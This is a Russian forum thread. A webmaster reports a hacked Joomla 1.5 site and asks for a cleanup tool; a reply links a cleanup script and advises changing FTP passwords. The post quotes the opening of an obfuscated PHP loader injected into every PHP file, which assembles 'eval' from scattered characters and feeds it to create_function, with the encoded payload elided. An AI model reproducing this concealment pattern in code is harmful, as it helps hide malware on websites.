drrest

Рейтинг
0
Регистрация
21.09.2011
Kamysh:
Нехорошие люди хакнули сайт на joomla 1.5. В самое начало каждого php файла прописался такой код:
<?php
$md5 = "8deb49868d27c2cac20d2731623848d0";
$wp_salt = array("d",'c','4',"_","l",'$',"n","o","t","b",'(',"6",")",'f',";",'v','s','g',"a","e","z","i","r");
$wp_add_filter = create_function('$'.'v',$wp_salt[19].$wp_salt[15].$wp_salt[18]
...
куча символов
...
+9///u//AQ==');
?>
Есть какой-либо инструмент для очистки от этой нечисти?

Та же ерунда была.. во всех PHP файлах такая вот штука в начале. Антивирус брал тут http://beznervov.com/computers/programmy/viruses/virus_php_all_files/ скрипт элементарный.. его даже в CRON можно ... Удачи.. (кста.. поменять пароли на FTP не помешает)☝